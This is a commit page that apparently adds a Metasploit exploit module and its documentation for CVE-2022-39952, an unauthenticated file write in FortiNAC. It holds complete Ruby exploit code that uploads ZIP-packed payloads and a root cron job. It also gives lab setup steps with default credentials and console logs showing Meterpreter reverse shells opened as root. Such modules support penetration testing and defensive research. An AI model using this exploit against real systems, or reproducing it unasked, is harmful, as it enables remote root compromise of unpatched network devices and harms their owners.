Land #17750, FortiNAC keyUpload.jsp arbitrary file write CVE-2022-39952
This commit is contained in:
commit
c53a22d3fb
|
@ -0,0 +1,192 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This module uploads a payload to the `/tmp` directory in addition to a cron job to `/etc/cron.d` which executes the payload
|
||||
in the context of the `root` user.
|
||||
|
||||
The core vulnerability is an arbitrary file write issue in `/configWizard/keyUpload.jsp` which is accessible remotely and without
|
||||
authentication. When you send this endpoint a ZIP file, it will extract an an attacker controlled file to directory
|
||||
on the system of the attacker's choice.
|
||||
|
||||
This issue is exploitable on the following versions of FortiNAC:
|
||||
|
||||
- FortiNAC version 9.4 prior to 9.4.1
|
||||
- FortiNAC version 9.2 prior to 9.2.6
|
||||
- FortiNAC version 9.1 prior to 9.1.8
|
||||
- FortiNAC 8.8 all versions
|
||||
- FortiNAC 8.7 all versions
|
||||
- FortiNAC 8.6 all versions
|
||||
- FortiNAC 8.5 all versions
|
||||
- FortiNAC 8.3 all versions
|
||||
|
||||
### Setup
|
||||
|
||||
Navigate to https://www.fortinet.com/demo-center/nac-demo to obtain a FortiNAC free product demo. Fill out the
|
||||
necessary fields in order to download: first name, last name, job function, job level, company, email address, phone
|
||||
number, state, zip/postal code. You'll receive a confirmation email; click the link in the email in order to access the
|
||||
free product download.
|
||||
|
||||
Import the OVA file into your virtualization software of choice. Personally, I had success using VMWare Fusion. Note
|
||||
that when using VMWare products, you will need to use a tool such as 7-Zip to unzip the `.ova` file, find the manifest
|
||||
file contained within, which will end with `.mf`, and then rezip the file again. This is due to a bug noted at
|
||||
https://github.com/home-assistant/operating-system/issues/2121
|
||||
|
||||
Personally I just navigated to the `.ova` file in Windows, right clicked, and chose `7-Zip`, then `Open Archive`,
|
||||
and then deleted the `.mf` file that appeared before closing 7-Zip, which did the trick. Once this is done you
|
||||
can then import the OVA file into VMWare fine.
|
||||
|
||||
Once the OVA file has been imported, but before starting the machine, if you are using VMWare, go into
|
||||
`Edit->Virtual Network Editor` and look at the `Subnet Address` section for the `Host Only` adapter. You will
|
||||
need this for later sections.
|
||||
|
||||
Next change the two interfaces of the imported machine from Bridged to Host Only. Then turn the machine on.
|
||||
Once the machine turns on, log in with the following default credentials as outlined in the
|
||||
[VMware Virtual Machine Installation Guide](https://fortinetweb.s3.amazonaws.com/docs.fortinet.com/v2/attachments/920a0000-200d-11e9-b6f6-f8bc1258b856/fortinac-vmware-install-85.pdf):
|
||||
|
||||
```
|
||||
Username: root
|
||||
Password: 162PemBnI
|
||||
```
|
||||
|
||||
Once authenticated successfully, statically set the IP address of the machine using the subnet information you obtained
|
||||
earlier. In our case the subnet was `192.168.123.0/24` so we just set the gateway to `192.168.123.1` and set the IP address
|
||||
of the machine to `192.168.123.11/24` to set it to a static IP address that is available on this subnet. Be sure to update
|
||||
these commands and any of the following commands to replace `192.168.123.11` and `192.168.123.1` with the appropriate
|
||||
gateway and host IP addresses.
|
||||
|
||||
`configIP 192.168.123.11 255.255.255.0 192.168.123.1`
|
||||
|
||||
Navigate to the directory where the license file resides, and then start a Python SimpleHTTPServer web server to
|
||||
host files from this directory using the following commands:
|
||||
|
||||
```
|
||||
cd /bsc/campusMgr
|
||||
python -m SimpleHTTPServer 9099
|
||||
```
|
||||
|
||||
On your local machine download the license file from the Python server started above:
|
||||
|
||||
`wget -O licenseKey http://192.168.123.11:9099/.licenseKey`
|
||||
|
||||
On your local machine, open the browser of your choice and navigate to:
|
||||
|
||||
`https://192.168.123.11:8443/gui`
|
||||
|
||||
Authenticate with the default username and password:
|
||||
|
||||
```
|
||||
Username: root
|
||||
Password: YAMS
|
||||
```
|
||||
|
||||
When installing the software, first accept the license agreement. Then upload the license key, providing the
|
||||
the `.licenseKey` file you downloaded from the Python HTTP server and click `Next`. Under `Change Default Passwords`,
|
||||
set a username and password for a new admin account that can log in via the GUI, and under `CLI Accounts` set a new
|
||||
password for the `root` user to log in via the CLI of the console.
|
||||
|
||||
Under the `Select Installation Method` section, select `Manual Installation` and click `OK`. You should be redirected to
|
||||
a URL that looks like `https://192.168.116.12:8443/gui/system/config-wizard` and be prompted to provide a license key.
|
||||
Just provide the same `.licenseKey` file you downloaded, same procedure and key as you provided earlier and click `OK`.
|
||||
|
||||
At this point you should see a page with a header named `BASIC NETWORK`. Set the `Host Name (Do not include domain)`
|
||||
field to `localhost` and then under `DNS` section, set the `Domain [example: yourdomain.com]` to `localhost.localdomain`.
|
||||
Finally set the `Network Type` to `None`. This is a not a hard requirement but it will save you a lot of
|
||||
unnecessary setup. Click `Next` and then `Apply` and click `OK` on the popup that appears.
|
||||
|
||||
Once this is done, you will be required to change the default passwords from the GUI and once complete,
|
||||
restart the machine by clicking on the `Restart` button. One the machine reboots, you should have a
|
||||
vulnerable instance of FortiNAC configured.
|
||||
|
||||
## Options
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploit/multi/http/fortinac_keyupload_file_upload`
|
||||
1. Set the `RHOST` and `LHOST` options
|
||||
1. Run the module
|
||||
1. Receive a Meterpreter session as the `root` user.
|
||||
|
||||
## Scenarios
|
||||
### FortiNAC 9.4.0 CMD Target
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/fortinac_keyupload_file_write
|
||||
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set rhosts 192.168.123.11
|
||||
rhosts => 192.168.123.11
|
||||
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set lhost 192.168.123.1
|
||||
lhost => 192.168.123.1
|
||||
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set lport 4044
|
||||
lport => 4044
|
||||
msf6 exploit(linux/http/fortinac_keyupload_file_write) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.123.1:4044
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Target indicated a successful upload occurred!
|
||||
[*] Sending zipped cron job to /configWizard/keyUpload.jsp
|
||||
[*] Waiting for cron job to run
|
||||
[*] Sending stage (24772 bytes) to 192.168.123.11
|
||||
[*] Meterpreter session 1 opened (192.168.123.1:4044 -> 192.168.123.11:59938) at 2023-03-09 17:01:02 -0500
|
||||
[!] This exploit may require manual cleanup of '/etc/cron.d/ZlzEXbWF' on the target
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : localhost.localhost.localdomain
|
||||
OS : Linux 3.10.0-1160.53.1.el7.x86_64 #1 SMP Fri Jan 14 13:59:45 UTC 2022
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Meterpreter : python/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### FortiNAC 9.4.0 Linux x64 Target
|
||||
```
|
||||
msf6 > use exploit/linux/http/fortinac_keyupload_file_write
|
||||
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/fortinac_keyupload_file_write) > show targets
|
||||
|
||||
Exploit targets:
|
||||
=================
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
=> 0 CMD
|
||||
1 Linux x86
|
||||
2 Linux x64
|
||||
|
||||
|
||||
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set target 2
|
||||
target => 2
|
||||
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set payload linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set rhosts 192.168.123.11
|
||||
rhosts => 192.168.123.11
|
||||
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set lhost 192.168.123.1
|
||||
lhost => 192.168.123.1
|
||||
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set lport 9909
|
||||
lport => 9909
|
||||
msf6 exploit(linux/http/fortinac_keyupload_file_write) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.123.1:9909
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Target indicated a successful upload occurred!
|
||||
[*] Sending zipped payload to /configWizard/keyUpload.jsp
|
||||
[*] Sending zipped cron job to /configWizard/keyUpload.jsp
|
||||
[*] Waiting for cron job to run
|
||||
[*] Sending stage (3045348 bytes) to 192.168.123.11
|
||||
[*] Meterpreter session 3 opened (192.168.123.1:9909 -> 192.168.123.11:38266) at 2023-03-09 17:31:01 -0500
|
||||
[!] This exploit may require manual cleanup of '/tmp/HcYciseH' on the target
|
||||
[!] This exploit may require manual cleanup of '/etc/cron.d/DsxejZgV' on the target
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : localhost.localhost.localdomain
|
||||
OS : CentOS 7.9.2009 (Linux 3.10.0-1160.53.1.el7.x86_64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
|
@ -0,0 +1,149 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Fortinet FortiNAC keyUpload.jsp arbitrary file write',
|
||||
'Description' => %q{
|
||||
This module uploads a payload to the /tmp directory in addition to a cron job
|
||||
to /etc/cron.d which executes the payload in the context of the root user.
|
||||
|
||||
The core vulnerability is an arbitrary file write issue in /configWizard/keyUpload.jsp which
|
||||
is accessible remotely and without authentication. When you send the vulnerable
|
||||
endpoint a ZIP file, it will extract an attacker controlled file to a directory
|
||||
of the attackers choice on the target system.
|
||||
|
||||
This issue is exploitable on the following versions of FortiNAC:
|
||||
|
||||
FortiNAC version 9.4 prior to 9.4.1
|
||||
FortiNAC version 9.2 prior to 9.2.6
|
||||
FortiNAC version 9.1 prior to 9.1.8
|
||||
FortiNAC 8.8 all versions
|
||||
FortiNAC 8.7 all versions
|
||||
FortiNAC 8.6 all versions
|
||||
FortiNAC 8.5 all versions
|
||||
FortiNAC 8.3 all versions
|
||||
},
|
||||
'Author' => [
|
||||
'Gwendal Guégniaud', # discovery
|
||||
'Zach Hanley', # PoC
|
||||
'jheysel-r7' # module
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep-dive-and-iocs/'],
|
||||
['URL', 'https://www.fortiguard.com/psirt/FG-IR-22-300'],
|
||||
['URL', 'https://github.com/horizon3ai/CVE-2022-39952'],
|
||||
['URL', 'https://attackerkb.com/topics/9BvxYuiHYJ/cve-2022-39952'],
|
||||
['CVE', '2022-39952']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => %w[linux unix],
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' => {
|
||||
'SSL' => true,
|
||||
'RPORT' => 8443,
|
||||
'WfsDelay' => '75'
|
||||
},
|
||||
'Arch' => [ ARCH_CMD, ARCH_X64, ARCH_X86 ],
|
||||
'Targets' => [
|
||||
[ 'CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ],
|
||||
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
|
||||
[ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => '2023-02-16',
|
||||
'Notes' => {
|
||||
'Stability' => [ CRASH_SAFE ],
|
||||
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
|
||||
'Reliability' => [ REPEATABLE_SESSION ]
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'configWizard', 'keyUpload.jsp'),
|
||||
'method' => 'POST'
|
||||
})
|
||||
|
||||
return Exploit::CheckCode::Unknown('Target did not respond') unless res
|
||||
return Exploit::CheckCode::Safe("Target responded with unexpected HTTP response code: #{res.code}") unless res.code == 200
|
||||
return Exploit::CheckCode::Appears('Target indicated a successful upload occurred!') if res.body.include?('yams.jsp.portal.SuccessfulUpload')
|
||||
|
||||
Exploit::CheckCode::Safe('The target responded with a 200 OK message, however the response to our POST request with a blank body did not contain the expected upload successful message!')
|
||||
end
|
||||
|
||||
def zip_file(filepath, contents)
|
||||
zip = Rex::Zip::Archive.new
|
||||
zip.add_file(filepath, contents)
|
||||
|
||||
zip.pack
|
||||
end
|
||||
|
||||
def send_zip_file(filename, contents, file_description)
|
||||
mime = Rex::MIME::Message.new
|
||||
mime.add_part(contents, nil, 'binary', "form-data; name=\"key\"; filename=\"#{filename}\"")
|
||||
|
||||
print_status("Sending zipped #{file_description} to /configWizard/keyUpload.jsp")
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'configWizard', 'keyUpload.jsp'),
|
||||
'method' => 'POST',
|
||||
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
|
||||
'data' => mime.to_s
|
||||
})
|
||||
fail_with(Failure::Unknown, 'Failed to send the ZIP file to /configWizard/keyUpload.jsp') unless res && res.code == 200 && res.body.include?('yams.jsp.portal.SuccessfulUpload')
|
||||
print_good('Successfully sent ZIP file')
|
||||
end
|
||||
|
||||
def cron_file(command)
|
||||
cron_file = 'SHELL=/bin/sh'
|
||||
cron_file << "\n"
|
||||
cron_file << 'PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin'
|
||||
cron_file << "\n"
|
||||
cron_file << "* * * * * root #{command}"
|
||||
cron_file << "\n"
|
||||
|
||||
cron_file
|
||||
end
|
||||
|
||||
def exploit
|
||||
cron_filename = Rex::Text.rand_text_alpha(8)
|
||||
cron_path = '/etc/cron.d/' + cron_filename
|
||||
|
||||
case target['Arch']
|
||||
when ARCH_CMD
|
||||
cron_command = payload.raw
|
||||
when ARCH_X64, ARCH_X86
|
||||
payload_filename = Rex::Text.rand_text_alpha(8)
|
||||
payload_path = '/tmp/' + payload_filename
|
||||
payload_data = payload.encoded_exe
|
||||
cron_command = "chmod +x #{payload_path} && #{payload_path}"
|
||||
|
||||
# zip and send payload
|
||||
zipped_payload = zip_file(payload_path, payload_data)
|
||||
send_zip_file(payload_filename, zipped_payload, 'payload')
|
||||
register_dirs_for_cleanup(payload_path)
|
||||
else
|
||||
fail_with(Failure::BadConfig, 'Invalid target architecture selected')
|
||||
end
|
||||
|
||||
# zip and send cron job
|
||||
zipped_cron = zip_file(cron_path, cron_file(cron_command))
|
||||
send_zip_file(cron_filename, zipped_cron, 'cron job')
|
||||
register_dirs_for_cleanup(cron_path)
|
||||
|
||||
print_status('Waiting for cron job to run')
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue